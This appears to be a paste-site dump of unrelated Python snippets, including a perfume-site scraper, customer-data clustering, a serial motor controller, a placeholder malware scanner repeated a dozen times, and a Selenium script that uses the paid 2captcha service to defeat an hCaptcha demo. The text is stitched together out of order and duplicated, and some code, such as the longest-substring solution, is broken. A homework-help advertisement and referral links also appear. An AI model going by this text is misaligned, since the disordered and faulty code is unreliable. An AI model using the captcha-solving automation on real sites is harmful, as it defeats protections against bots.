for ingredient, count in top_ingredient_series_sorted.items():
    top_ingredient_cleaned = ingredient.replace('[', '').replace(']', '').replace("'", "")
    if top_ingredient_cleaned in top_ingredient_counts:
        top_ingredient_counts[top_ingredient_cleaned] += count
    else:
        top_ingredient_counts[top_ingredient_cleaned] = count
top_ingredient_series_cleaned = pd.Series(top_ingredient_counts, dtype = int)
print(top_ingredient_series_cleaned)

# Iterating over rows and counting the occurrences of ingredients listed in the 'TopNotes' column 
top_ingredient_counts = {}

for index, row in df.iterrows():
    top_notes_list = row['TopNotes']
    if isinstance(top_notes_list, list):
        for ingredient in top_notes_list:
            top_ingredient_counts[ingredient] = top_ingredient_counts.get(ingredient, 0) + 1
    elif isinstance(top_notes_list, str):
        ingredients = [x.strip() for x in top_notes_list.split(',')]
        for ingredient in ingredients:
            top_ingredient_counts[ingredient] = top_ingredient_counts.get(ingredient, 0) + 1
top_ingredient_series = pd.Series(top_ingredient_counts, dtype=int)
print(top_ingredient_series)

# Saving the data to the CSV file

with open(csv_file, 'w', newline='', encoding='utf-8') as csvfile:
    writer = csv.DictWriter(csvfile, fieldnames=fieldnames)
    writer.writeheader()
    for data in all_perfume_data:
        writer.writerow(data)

print('Data saved to:', csv_file)

# Collecting the data from URLs we have gathered

all_perfume_data = []

for link in perfume_links:
    print('Scraping link:', link)
    try:
        perfume_data_new = scrape_perfume_data(link)
        all_perfume_data.append(perfume_data_new)
        print(f'Data scraped successfully for {perfume_data_new["PerfumeName"]}')
    except Exception as e:
        print(f'Error scraping data for {link}: {e}')

# Collecting the urls we want to scrape

perfume_links = scrape_all_pages('https://www.parfumo.com/Recently_added?current_page=', 50)
print(perfume_links)

# This method should parse through every page within the new release directory (theres a total of 50 of them)

def scrape_all_pages(base_url, total_pages):
    all_links = []
    base_url = 'https://www.parfumo.com/Recently_added?current_page='
    end_url = '&'
    total_pages = 50

    for page_number in range(1, total_pages + 1):
        page_url = f"{base_url}{page_number}{end_url}"
        try:
            links_on_page = scrape_perfume_links(page_url)
            all_links.extend(links_on_page)
            print(f"Scraped links from page {page_number}")
        except requests.HTTPError as e:
            print(f"Error scraping page {page_number}: {e}")
        time.sleep(1)
    return all_links

# Defining a method for collecting the urls we want to scrape
def scrape_perfume_links(url):
    headers = {
        "User-Agent": "Insert user agent",
        "Referer": "https://www.parfumo.com/",
        "Accept-Language": "en-US,en;q=0.9"
    }
    session = requests.Session()
    page = session.get(url, headers=headers)
    page.raise_for_status()
    soup3 = BeautifulSoup(page.content, 'html.parser')
    
    perfumes = soup3.find_all('div', class_='name')
    perfume_links = []
    for perfume in perfumes:
        link = perfume.find('a')['href']
        perfume_links.append(link)

    return perfume_links

# Defining a method for scraping the web page
def scrape_perfume_data(url):
    headers = {
        "User-Agent": "Insert user agent"
    }
    page = requests.get(url, headers=headers)
    page.raise_for_status()
    soup = BeautifulSoup(page.content, 'html.parser')
    
    perfume_name = brand_name = release_year = overall_rating = rating_count = perfumer = scent_rating = longevity_rating = sillage_rating = bottle_rating = value_rating = scraping_date = None
    
    try:
        perfume_name = soup.find('h1', class_='p_name_h1', itemprop='name').get_text().strip().split('\n')[0].strip()
    except AttributeError:
        pass
    
    try:
        brand_span = soup.find('span', itemprop='brand')
        brand_name = brand_span.find('span', itemprop='name').get_text().strip()
    except AttributeError:
        pass
    
    try:
        year = soup.find('a', href=lambda href: href and 'Release_Years' in href)
        release_year = year.get_text().strip()
    except AttributeError:
        pass
    
    try:
        overall_rating = soup.find('span', itemprop='ratingValue').get_text().strip()
    except AttributeError:
        pass
    
    try:
        rating_count = soup.find('span', itemprop='ratingCount').get_text().strip()
    except AttributeError:
        pass
    
    try:
        perfumer = soup.find('div', {'class': 'w-100 mt-0-5 mb-3'}).get_text().strip()
    except AttributeError:
        pass
    
    try:
        top_notes = soup.find('div', class_='pyramid_block nb_t w-100 mt-2')
        top_note_list = [span.get_text(strip=True) for span in top_notes.find_all('span', class_='clickable_note_img')]
    except AttributeError:
        pass
    
    try:
        heart_notes = soup.find('div', class_='pyramid_block nb_m w-100 mt-2')
        heart_note_list = [span.get_text(strip=True) for span in heart_notes.find_all('span', class_='clickable_note_img')]
    except AttributeError:
        pass
    
    try:
        base_notes = soup.find('div', class_='pyramid_block nb_b w-100 mt-2')
        base_note_list = [span.get_text(strip=True) for span in base_notes.find_all('span', class_='clickable_note_img')]
    except AttributeError:
        pass
   
    
    scraping_date = datetime.date.today()
    
    return {
        'PerfumeName': perfume_name, 
        'Brand': brand_name, 
        'ReleaseYear': release_year, 
        'OverallRating': overall_rating, 
        'RatingCount': rating_count, 
        'Perfumer': perfumer, 
        'TopNotes': top_note_list if 'top_note_list' in locals() else None, 
        'HeartNotes': heart_note_list if 'heart_note_list' in locals() else None, 
        'BaseNotes': base_note_list if 'base_note_list' in locals() else None, 
    }

# Showcasing the data for cluster 0

cluster_0_df = df_trimmed[df_trimmed['ClustersK'] == 0]

variable_names = [col for col in cluster_0_df.columns if col != 'ClustersK']
colors = ['#2e2237']
n_variables = len(variable_names)
n_rows = (n_variables - 1) // 5 + 1
fig, axes = plt.subplots(n_rows, 5, figsize=(15, 3 * n_rows), squeeze=False)

for i, variable in enumerate(variable_names):
    row = i // 5
    col = i % 5
    ax = axes[row, col]
    cluster_0_df[variable].plot.hist(ax=ax, bins=20, color=colors)
    ax.set_title(f'Distribution of {variable}')
    ax.set_xlabel(variable)
    ax.set_ylabel('Frequency')

for i in range(n_variables, n_rows * 5):
    fig.delaxes(axes.flatten()[i])
plt.tight_layout()
plt.show()

# Defining the number of clusters (K)
num_clusters = 4

# Initialising and fitting the KMeans model
kmeans = KMeans(n_clusters = num_clusters, n_init = 10)
cluster_labels = kmeans.fit_predict(dim_ds)
df_trimmed['ClustersK'] = cluster_labels

# Initiating PCA to reduce dimensions aka features to 3 and transforming the data
dim_ds = pd.DataFrame(PCA(n_components = 3).fit_transform(df_scaled), columns = ['column1', 'column2', 'column3'])
dim_ds.describe().T

# Applying z-score normalisation
scaler = StandardScaler()

# Fitting the scaler to the data and transforming it
df_scaled = pd.DataFrame(scaler.fit_transform(df_trimmed), columns = df_trimmed.columns)

# Defining a spend column based on individual categories
df['TotalSpend'] = df['Wines'] + df['Fruits'] + df['Meat'] + df['Fish'] + df['Sweets'] + df['Gold']

# Fleshing out the data around parenthood
df['N_minors_home'] = df['Kidhome'] + df['Teenhome']
df['Parent'] = np.where(df.N_minors_home> 0, 1, 0)

# Cleaning the Education column
df['Education'] = df['Education'].replace({'Basic':'Sec school',
                                           '2n Cycle':'Masters', 
                                           'Graduation':'Bachelors', 
                                           'Master':'Masters', 
                                           'PhD':'Doctorate'})

# Cleaning the Marital status column
df['Marital_Status'] = df['Marital_Status'].replace({'Alone':'Single','Widow':'Widowed', 'Together':'Dating'})
df = df[~df['Marital_Status'].isin(['YOLO', 'Absurd'])]

# Exploring the unique values in the Marital status column
df['Marital_Status'].unique()

# Removing outliers
df = df[df['Income'] <= 200000]
df = df.dropna(subset=['Income'])

# Exploring the outliers for age 
customers_over_100 = df[df['Age'] > 100]
num_customers_over_100 = len(customers_over_100)

print('N of customers over the age of 100:', num_customers_over_100)

# Creating an age column based on the year of birth
current_year = dt.datetime.now().year
df['Age'] = current_year - df['Year_Birth']

myLists = [
    [1, 2, 3],
    [4, 5, 6],
    [7, 8, 9]
]

def to_one_list(myLists):
    myList = []
    for _list in myLists:
        for l in _list:
            myList.append(l)

    return myList

print(to_one_list(myLists = myLists))

# Grouping data by a column and calculating aggregate functions
grouped_df = df.groupBy('column').agg({'column2': 'sum', 'column3': 'avg'})

# Applying aggregate functions to entire DataFrame
agg_df = df.agg({'column1': 'max', 'column2': 'min'})

<p>TopHomeworkHelper.com offers comprehensive programming help for students, covering various programming languages like Java, Python, C++, and more. Services include assignment help, coding assistance, and debugging support. With 24/7 availability and experienced tutors, the platform ensures timely and reliable solutions for all programming-related academic needs.<br /><br />Source:&nbsp;<a href="https://tophomeworkhelper.com/programming-help.html" target="_blank" rel="noopener">Programming Homework Help</a></p>
<p>&nbsp;</p>

from random import randint
from PIL import Image
from os import listdir, path, mkdir
from uuid import uuid4
import moviepy.editor as mp

def generate_video(folder):
    if not path.exists(folder):
        mkdir(folder)

    # generate video frames
    for i in range(20):
        img = Image.new(
            mode = 'RGB',
            size = (500, 250),
            color = (0, 0, 0)
        )

        for x in range(img.size[0]):
            for y in range(img.size[1]):
                r, g, b = randint(0, 255), randint(0, 255), randint(0, 255)
                img.putpixel((x, y), value = (r, g, b))

        img.save(f'{folder}/{i}.png')
    
    # create video
    images = [f'{folder}/{img}' for img in listdir(folder)]
    clips = [mp.ImageClip(img).set_duration(0.08) for img in images]
    video = mp.concatenate_videoclips(clips, method = 'compose')
    video.to_videofile(f'{str(uuid4())}.mp4', fps = 24)


generate_video('test')

from uuid import uuid4
import random

extintions = ['zip', 'exe', 'txt', 'py', 'mp4', 'mp3', 'png']

def generate_files(files_len, folder):
    for i in range(files_len):
        file_name = f'{folder}/{str(uuid4())}.{random.choice(extintions)}'
        file_size = (1024 * 1024) * random.randint(1, 10)
        file = open(file_name, 'wb')
        file.write(b'\b' * file_size)
        file.close()

generate_files(20, 'test')

from fastapi import FastAPI, Request
from slowapi.util import get_remote_address
import uvicorn


app = FastAPI()

@app.get('/')
def home(req : Request):
    return {'ip': get_remote_address(request=req)}

n=int(input('total number of items in list'))
L=[]
for i in range(n):
    item=int(input('enter the item'))
    L.append(item)
n=int(input('total number of items in list'))
L=[]
for i in range(n):
    item=int(input('enter the item'))
    L.append(item)



for i in range(1,n):
    k=L[i]
    j=i-1
    while j>=0 and k<L[j]:
        L[j+1]=L[j]
        j=j-1
    else:
        L[j+1]=k
print('sorted list:\n',L)

import vertexai

from vertexai.generative_models import GenerativeModel, Part

# TODO(developer): Update and un-comment below line
# project_id = "PROJECT_ID"

vertexai.init(project=project_id, location="us-central1")

model = GenerativeModel(model_name="gemini-1.0-pro-vision-001")

response = model.generate_content(
    [
        Part.from_uri(
            "gs://cloud-samples-data/generative-ai/image/scones.jpg",
            mime_type="image/jpeg",
        ),
        "What is shown in this image?",
    ]
)

print(response.text)

from peewee import SqliteDatabase, Model, UUIDField, CharField, IntegerField
from uuid import uuid4

db = SqliteDatabase('mydb.db')

# Create user Model
class User(Model):
    userId = UUIDField(primary_key = True, default = uuid4)
    name = CharField(max_length = 10)
    age = IntegerField()

    class Meta:
        database = db

# Connect to db
db.connect()
db.create_tables([User])
db.commit()

# Add new user to database
user = User.create(name = 'user123', age = 20)
user.save()

# Get all users
for user in User.select():
    print(user.name, user.userId)

from selenium import webdriver
from selenium.webdriver.common.by import By
from dotenv import load_dotenv

# https://pypi.org/project/2captcha-python/
from twocaptcha import TwoCaptcha


import time
import sys
import os

# https://github.com/2captcha/2captcha-python

sys.path.append(os.path.dirname(os.path.dirname(os.path.realpath(__file__))))


url = 'https://accounts.hcaptcha.com/demo'

driver = webdriver.Chrome()

driver.get(url=url)

time.sleep(2)

site_key = driver.find_element(
    by = By.XPATH, 
    value = '//*[@id="hcaptcha-demo"]').get_attribute('data-sitekey')




load_dotenv()

# create account in 2captcha from here : https://bit.ly/3MkkuPJ
# make deposit at least 3$
# https://2captcha.com/pay

# create env file or you can put your API key direct in TwoCaptcha function


api_key = os.getenv('APIKEY_2CAPTCHA')


api_key = os.getenv('APIKEY_2CAPTCHA', 'YOUR_API_KEY')

solver = TwoCaptcha(api_key)

try:
    result = solver.hcaptcha(
        sitekey=site_key,
        url=url,
    )

    code = result['code']
    print(code)

    

    driver.execute_script(f"document.getElementsByName('h-captcha-response')[0].innerHTML = '{code}'")
    
    # submit
    driver.find_element(by = By.ID, value = 'hcaptcha-demo-submit').click()
    

except Exception as e:
    sys.exit(e)



input()

# Create account from here : http://adfoc.us/831311103357835
# Go to https://adfoc.us/tools/api 
# http://adfoc.us/api/?key={}&url={}


import requests, os
from dotenv import load_dotenv

load_dotenv()

url = ''
api_key = os.getenv('api_key')

endpoint = f'http://adfoc.us/api/?key={api_key}&url={url}'

res = requests.get(url = endpoint)
print(res.text)

conda create --name <my-env>

from PIL import Image, ImageDraw, ImageOps

def convert_image_to_circle(image_path):
    my_image = Image.open(image_path)
    # create mask 
    mask = Image.new('L', my_image.size)
    draw = ImageDraw.Draw(mask)
    # draw white circle
    draw.ellipse((0, 0) + mask.size, fill = 255)

    # create output image
    output = ImageOps.fit(my_image, mask.size, centering=(0.5, 0.5))
    output.putalpha(mask)
    output.save('out.png')



convert_image_to_circle('test.png')

import os

# Define a list of known malware signatures
malware_signatures = [
    "malware_signature_1",
    "malware_signature_2",
    # Add more signatures as needed
]

def scan_file(file_path):
    """
    Scan a file for known malware signatures.
    """
    with open(file_path, "rb") as file:
        content = file.read()
        for signature in malware_signatures:
            if signature.encode() in content:
                return True
    return False

def scan_directory(directory):
    """
    Recursively scan a directory for files containing malware signatures.
    """
    malware_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if scan_file(file_path):
                malware_files.append(file_path)
    return malware_files

if __name__ == "__main__":
    # Directory to scan
    target_directory = "/path/to/directory"

    # Scan the directory for malware
    malware_files = scan_directory(target_directory)

    if malware_files:
        print("Malware detected in the following files:")
        for file_path in malware_files:
            print(file_path)
    else:
        print("No malware detected.")

import os

# Define a list of known malware signatures
malware_signatures = [
    "malware_signature_1",
    "malware_signature_2",
    # Add more signatures as needed
]

def scan_file(file_path):
    """
    Scan a file for known malware signatures.
    """
    with open(file_path, "rb") as file:
        content = file.read()
        for signature in malware_signatures:
            if signature.encode() in content:
                return True
    return False

def scan_directory(directory):
    """
    Recursively scan a directory for files containing malware signatures.
    """
    malware_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if scan_file(file_path):
                malware_files.append(file_path)
    return malware_files

if __name__ == "__main__":
    # Directory to scan
    target_directory = "/path/to/directory"

    # Scan the directory for malware
    malware_files = scan_directory(target_directory)

    if malware_files:
        print("Malware detected in the following files:")
        for file_path in malware_files:
            print(file_path)
    else:
        print("No malware detected.")

import os

# Define a list of known malware signatures
malware_signatures = [
    "malware_signature_1",
    "malware_signature_2",
    # Add more signatures as needed
]

def scan_file(file_path):
    """
    Scan a file for known malware signatures.
    """
    with open(file_path, "rb") as file:
        content = file.read()
        for signature in malware_signatures:
            if signature.encode() in content:
                return True
    return False

def scan_directory(directory):
    """
    Recursively scan a directory for files containing malware signatures.
    """
    malware_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if scan_file(file_path):
                malware_files.append(file_path)
    return malware_files

if __name__ == "__main__":
    # Directory to scan
    target_directory = "/path/to/directory"

    # Scan the directory for malware
    malware_files = scan_directory(target_directory)

    if malware_files:
        print("Malware detected in the following files:")
        for file_path in malware_files:
            print(file_path)
    else:
        print("No malware detected.")

import os

# Define a list of known malware signatures
malware_signatures = [
    "malware_signature_1",
    "malware_signature_2",
    # Add more signatures as needed
]

def scan_file(file_path):
    """
    Scan a file for known malware signatures.
    """
    with open(file_path, "rb") as file:
        content = file.read()
        for signature in malware_signatures:
            if signature.encode() in content:
                return True
    return False

def scan_directory(directory):
    """
    Recursively scan a directory for files containing malware signatures.
    """
    malware_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if scan_file(file_path):
                malware_files.append(file_path)
    return malware_files

if __name__ == "__main__":
    # Directory to scan
    target_directory = "/path/to/directory"

    # Scan the directory for malware
    malware_files = scan_directory(target_directory)

    if malware_files:
        print("Malware detected in the following files:")
        for file_path in malware_files:
            print(file_path)
    else:
        print("No malware detected.")

import os

# Define a list of known malware signatures
malware_signatures = [
    "malware_signature_1",
    "malware_signature_2",
    # Add more signatures as needed
]

def scan_file(file_path):
    """
    Scan a file for known malware signatures.
    """
    with open(file_path, "rb") as file:
        content = file.read()
        for signature in malware_signatures:
            if signature.encode() in content:
                return True
    return False

def scan_directory(directory):
    """
    Recursively scan a directory for files containing malware signatures.
    """
    malware_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if scan_file(file_path):
                malware_files.append(file_path)
    return malware_files

if __name__ == "__main__":
    # Directory to scan
    target_directory = "/path/to/directory"

    # Scan the directory for malware
    malware_files = scan_directory(target_directory)

    if malware_files:
        print("Malware detected in the following files:")
        for file_path in malware_files:
            print(file_path)
    else:
        print("No malware detected.")

import os

# Define a list of known malware signatures
malware_signatures = [
    "malware_signature_1",
    "malware_signature_2",
    # Add more signatures as needed
]

def scan_file(file_path):
    """
    Scan a file for known malware signatures.
    """
    with open(file_path, "rb") as file:
        content = file.read()
        for signature in malware_signatures:
            if signature.encode() in content:
                return True
    return False

def scan_directory(directory):
    """
    Recursively scan a directory for files containing malware signatures.
    """
    malware_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if scan_file(file_path):
                malware_files.append(file_path)
    return malware_files

if __name__ == "__main__":
    # Directory to scan
    target_directory = "/path/to/directory"

    # Scan the directory for malware
    malware_files = scan_directory(target_directory)

    if malware_files:
        print("Malware detected in the following files:")
        for file_path in malware_files:
            print(file_path)
    else:
        print("No malware detected.")

import os

# Define a list of known malware signatures
malware_signatures = [
    "malware_signature_1",
    "malware_signature_2",
    # Add more signatures as needed
]

def scan_file(file_path):
    """
    Scan a file for known malware signatures.
    """
    with open(file_path, "rb") as file:
        content = file.read()
        for signature in malware_signatures:
            if signature.encode() in content:
                return True
    return False

def scan_directory(directory):
    """
    Recursively scan a directory for files containing malware signatures.
    """
    malware_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if scan_file(file_path):
                malware_files.append(file_path)
    return malware_files

if __name__ == "__main__":
    # Directory to scan
    target_directory = "/path/to/directory"

    # Scan the directory for malware
    malware_files = scan_directory(target_directory)

    if malware_files:
        print("Malware detected in the following files:")
        for file_path in malware_files:
            print(file_path)
    else:
        print("No malware detected.")

import os

# Define a list of known malware signatures
malware_signatures = [
    "malware_signature_1",
    "malware_signature_2",
    # Add more signatures as needed
]

def scan_file(file_path):
    """
    Scan a file for known malware signatures.
    """
    with open(file_path, "rb") as file:
        content = file.read()
        for signature in malware_signatures:
            if signature.encode() in content:
                return True
    return False

def scan_directory(directory):
    """
    Recursively scan a directory for files containing malware signatures.
    """
    malware_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if scan_file(file_path):
                malware_files.append(file_path)
    return malware_files

if __name__ == "__main__":
    # Directory to scan
    target_directory = "/path/to/directory"

    # Scan the directory for malware
    malware_files = scan_directory(target_directory)

    if malware_files:
        print("Malware detected in the following files:")
        for file_path in malware_files:
            print(file_path)
    else:
        print("No malware detected.")

import os

# Define a list of known malware signatures
malware_signatures = [
    "malware_signature_1",
    "malware_signature_2",
    # Add more signatures as needed
]

def scan_file(file_path):
    """
    Scan a file for known malware signatures.
    """
    with open(file_path, "rb") as file:
        content = file.read()
        for signature in malware_signatures:
            if signature.encode() in content:
                return True
    return False

def scan_directory(directory):
    """
    Recursively scan a directory for files containing malware signatures.
    """
    malware_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if scan_file(file_path):
                malware_files.append(file_path)
    return malware_files

if __name__ == "__main__":
    # Directory to scan
    target_directory = "/path/to/directory"

    # Scan the directory for malware
    malware_files = scan_directory(target_directory)

    if malware_files:
        print("Malware detected in the following files:")
        for file_path in malware_files:
            print(file_path)
    else:
        print("No malware detected.")

import os

# Define a list of known malware signatures
malware_signatures = [
    "malware_signature_1",
    "malware_signature_2",
    # Add more signatures as needed
]

def scan_file(file_path):
    """
    Scan a file for known malware signatures.
    """
    with open(file_path, "rb") as file:
        content = file.read()
        for signature in malware_signatures:
            if signature.encode() in content:
                return True
    return False

def scan_directory(directory):
    """
    Recursively scan a directory for files containing malware signatures.
    """
    malware_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if scan_file(file_path):
                malware_files.append(file_path)
    return malware_files

if __name__ == "__main__":
    # Directory to scan
    target_directory = "/path/to/directory"

    # Scan the directory for malware
    malware_files = scan_directory(target_directory)

    if malware_files:
        print("Malware detected in the following files:")
        for file_path in malware_files:
            print(file_path)
    else:
        print("No malware detected.")

import os

# Define a list of known malware signatures
malware_signatures = [
    "malware_signature_1",
    "malware_signature_2",
    # Add more signatures as needed
]

def scan_file(file_path):
    """
    Scan a file for known malware signatures.
    """
    with open(file_path, "rb") as file:
        content = file.read()
        for signature in malware_signatures:
            if signature.encode() in content:
                return True
    return False

def scan_directory(directory):
    """
    Recursively scan a directory for files containing malware signatures.
    """
    malware_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if scan_file(file_path):
                malware_files.append(file_path)
    return malware_files

if __name__ == "__main__":
    # Directory to scan
    target_directory = "/path/to/directory"

    # Scan the directory for malware
    malware_files = scan_directory(target_directory)

    if malware_files:
        print("Malware detected in the following files:")
        for file_path in malware_files:
            print(file_path)
    else:
        print("No malware detected.")

import os

# Define a list of known malware signatures
malware_signatures = [
    "malware_signature_1",
    "malware_signature_2",
    # Add more signatures as needed
]

def scan_file(file_path):
    """
    Scan a file for known malware signatures.
    """
    with open(file_path, "rb") as file:
        content = file.read()
        for signature in malware_signatures:
            if signature.encode() in content:
                return True
    return False

def scan_directory(directory):
    """
    Recursively scan a directory for files containing malware signatures.
    """
    malware_files = []
    for root, dirs, files in os.walk(directory):
        for file_name in files:
            file_path = os.path.join(root, file_name)
            if scan_file(file_path):
                malware_files.append(file_path)
    return malware_files

if __name__ == "__main__":
    # Directory to scan
    target_directory = "/path/to/directory"

    # Scan the directory for malware
    malware_files = scan_directory(target_directory)

    if malware_files:
        print("Malware detected in the following files:")
        for file_path in malware_files:
            print(file_path)
    else:
        print("No malware detected.")

import mido
import random

def generate_notes(notes_len):
    notes = []
    for i in range(notes_len):
        notes.append(random.randint(0, 127))

    return notes



def create_midi_file(notes):
    output_midi = mido.MidiFile()
    # create a track 
    track = mido.MidiTrack()
    # add track
    output_midi.tracks.append(track)

    # write notes
    for note in notes:
        track.append(mido.Message('note_on', note = note, velocity=64, time = 120))
        track.append(mido.Message('note_off', note = note, velocity=64, time = 120))

    # write midi file
    output_midi.save('out.mid')

notes = generate_notes(100)
create_midi_file(notes)

import tkinter as tk


root = tk.Tk()
root.attributes('-fullscreen', True)

# this is very important
def close_fullscreen():
    root.attributes('-fullscreen', False)

# add bt to close fullscreen mode this is very important
close_bt = tk.Button(root, text='Close full screen mode', command=close_fullscreen)
close_bt.pack(fill=tk.BOTH)

root.mainloop()

# Enable gzip compression for text-based files
http {
   gzip on;
   gzip_types text/plain text/css text/javascript;
}

def factorial(n):
    if n == 0 or n == 1:
        return 1
    else:
        return n * factorial(n-1)

Write a function named only_ints that takes two parameters. Your function should return True if both parameters are integers, and False otherwise.

For example, calling only_ints(1, 2) should return True, while calling only_ints("a", 1) should return False.
ChatGPT
ChatGPT
Here's a Python function named only_ints that checks if both parameters are integers:

python
Copy code
def only_ints(param1, param2):
    return isinstance(param1, int) and isinstance(param2, int)

# Example usage:
print(only_ints(1, 2))   # Output: True
print(only_ints("a", 1))  # Output: False

Copy and Save

Share

Ask Copilot

This function uses the isinstance() function to check if both parameters are of type int. If both are integers, it returns True; otherwise, it returns False.

engine = db.create_engine('sqlite:///datacamp.sqlite')
conn = engine.connect()
metadata = db.MetaData()

Student = db.Table('Student', metadata,
              db.Column('Id', db.Integer(),primary_key=True),
              db.Column('Name', db.String(255), nullable=False),
              db.Column('Major', db.String(255), default="Math"),
              db.Column('Pass', db.Boolean(), default=True)
              )

metadata.create_all(engine)

from sqlalchemy import create_engine
engine = create_engine("sqlite+pysqlite:///:memory:", echo=True)

connection = engine.connect()
print("Connected to the database successfully")
connection.close()

pip install SQLAlchemy

0 0.961847 0.151807 0.945783 0.151807 0.929719 0.166265 0.923695 0.180723 0.923695 0.207229 0.903614 0.243373 0.853414 0.26506 0.833333 0.279518 0.799197 0.289157 0.787149 0.289157 0.783133 0.284337 0.781124 0.255422 0.7751 0.243373 0.773092 0.166265 0.76506 0.151807 0.746988 0.159036 0.692771 0.207229 0.668675 0.209639 0.654618 0.216867 0.620482 0.216867 0.592369 0.207229 0.574297 0.207229 0.568273 0.214458 0.568273 0.240964 0.580321 0.26747 0.580321 0.279518 0.568273 0.296386 0.554217 0.344578 0.53012 0.383133 0.502008 0.414458 0.447791 0.513253 0.413655 0.595181 0.385542 0.689157 0.373494 0.780723 0.383534 0.807229 0.381526 0.850602 0.395582 0.872289 0.437751 0.891566 0.475904 0.901205 0.516064 0.903614 0.556225 0.915663 0.588353 0.908434 0.594378 0.889157 0.586345 0.860241 0.616466 0.824096 0.630522 0.79759 0.648594 0.742169 0.648594 0.689157 0.65261 0.684337 0.662651 0.693976 0.668675 0.739759 0.676707 0.761446 0.686747 0.773494 0.712851 0.778313 0.722892 0.766265 0.728916 0.744578 0.722892 0.66747 0.708835 0.631325 0.680723 0.60241 0.688755 0.566265 0.710843 0.53494 0.730924 0.46506 0.746988 0.440964 0.787149 0.404819 0.821285 0.392771 0.85743 0.366265 0.893574 0.325301 0.953815 0.26988 0.96988 0.209639 0.96988 0.168675

coco/
└── annotations/
    └── coco_annotations.json
coco_to_yolo.py
coco_converted/
├── images/
└── labels/
    └── coco_annotations/
        └── image1.txt
        └── image2.txt

python coco_to_yolo.py

pip install ultralytics

.\venv\Scripts\activate.ps1

.\venv\Scripts\activate

python -m venv venv

cd path\to\your\project\directory

coco/
└── annotations/
    └── coco_annotations.json
coco_to_yolo.py

from ultralytics.data.converter import convert_coco
convert_coco(labels_dir='annotations', use_segments=True)

import serial
import struct
import time  # Added import for time module

# Define communication constants and machine information
BAUD_RATE = 38400
DATA_BITS = 8
STOP_BITS = 1
PARITY = serial.PARITY_NONE
NODE_ID = 0x01

# Define commands for motor control
SET_CONTROLWORD_CMD = 0x2B
SET_OPERATION_MODE_CMD = 0x2F
SET_TARGET_POSITION_CMD = 0x41
READ_STATUSWORD_CMD = 0x4B
SET_PROFILE_SPEED_CMD = 0x23

# Define functions to calculate checksum and send commands
def calculate_checksum(data):
    return (-sum(data) % 256) & 0xFF

def send_command(serial_port, cmd, index, sub_index, data=None):
    if data is None:
        data = b''
    packet = bytes([NODE_ID, cmd, index & 0xFF, index >> 8, sub_index, *data])
    checksum = calculate_checksum(packet)
    packet += bytes([checksum])
    serial_port.write(packet)
    response = serial_port.read(8)
    return response

# Motor control functions
def move_to_position(serial_port, position):
    response = send_command(serial_port, SET_TARGET_POSITION_CMD, 0x607A, 0x00, data=list(struct.pack('<i', position)))
    print(f"Response (Move to Position {position}):", response.hex())

def set_speed(serial_port, speed):
    speed_bytes = struct.pack('<i', speed)
    response = send_command(serial_port, SET_PROFILE_SPEED_CMD, 0x6081, 0x00, data=list(speed_bytes))
    print(f"Response (Set Speed {speed}):", response.hex())

def start_motion(serial_port):
    response = send_command(serial_port, SET_CONTROLWORD_CMD, 0x6040, 0x00, data=[0x0F, 0x00, 0x00, 0x00])  # Start motion
    print("Response (Start motion):", response.hex())

def stop_motion(serial_port):
    response = send_command(serial_port, SET_CONTROLWORD_CMD, 0x6040, 0x00, data=[0x06, 0x00, 0x00, 0x00])  # Stop motion
    print("Response (Stop motion):", response.hex())

def move_to_positions(serial_port, positions):
    for pos in positions:
        move_to_position(serial_port, pos)
        time.sleep(1)  # Added delay to allow time for motion
        set_speed(serial_port, 200)  # Set speed to 200 RPM
        start_motion(serial_port)
        time.sleep(5)  # Added delay to simulate motion time
        stop_motion(serial_port)

# Main function
def main():
    serial_port = serial.Serial('COM3', baudrate=BAUD_RATE, bytesize=DATA_BITS, stopbits=STOP_BITS, parity=PARITY, timeout=1)

    try:
        positions = [5000001, 6000001, 7000001]
        move_to_positions(serial_port, positions)

    finally:
        serial_port.close()

if __name__ == "__main__":
    main()

class Solution(object):
  def lengthOfLongestSubstring(self, s):
    max_sub_length = 0
    start = 0
    s_length = len(s)
    
    for end in range(1, s_length):
      if s[end] in s[start:end]:
        start = s[start:end].index(s[end]) + 1 + start
      else:
        max_sub_length = max(max_sub_length, end - start + 1)
	return max_sub_length    

c3.Genai.UnstructuredQuery.Engine.REA.RetrieverConfig.make('materiality_retriever_config').getConfig().setConfigValue("numRetrievedPassages", 10)

import math


class Circle:
    def __init__(self, radius):
        self._radius = radius
        self._area = None

    @property
    def radius(self):
        return self._radius

    @radius.setter
    def radius(self, value):
        if value < 0:
            raise ValueError('Radius must be positive')

        if value != self._radius:
            self._radius = value
            self._area = None

    @property
    def area(self):
        if self._area is None:
            self._area = math.pi * self.radius ** 2

        return self._area
Code language: Python (python)

numbers = (*odd_numbers, *even_numbers)
print(numbers)
Code language: Python (python)

numbers = (*odd_numbers, *even_numbers)
print(numbers)
Code language: Python (python)

numbers = (*odd_numbers, *even_numbers)
print(numbers)
Code language: Python (python)

new_stocks = {symbol: price * 1.02 for (symbol, price) in stocks.items()}

Code language: Python (python)

cities = ['New York', 'Beijing', 'Cairo', 'Mumbai', 'Mexico']

for item in enumerate(cities):
    print(item)
Code language: Python (python)

list_of_dicts = [
    {'name': 'Alice', 'age': 30},
    {'name': 'Bob', 'age': 25},
    {'name': 'Charlie', 'age': 35}
]
person = next((item for item in list_of_dicts if item.get('name') == 'Bob'),  "person not found." )
print(f"Found: {person}")

class Celsius:
    def __init__(self, temperature=0):
        # This calls the setter method `temperature(self, value)` below 
        self.temperature = temperature

    def to_farenheit(self):
        # This calls the getter method (`temperature(self)`) method below
        return (self.temperature * 1.8) + 32

    @property
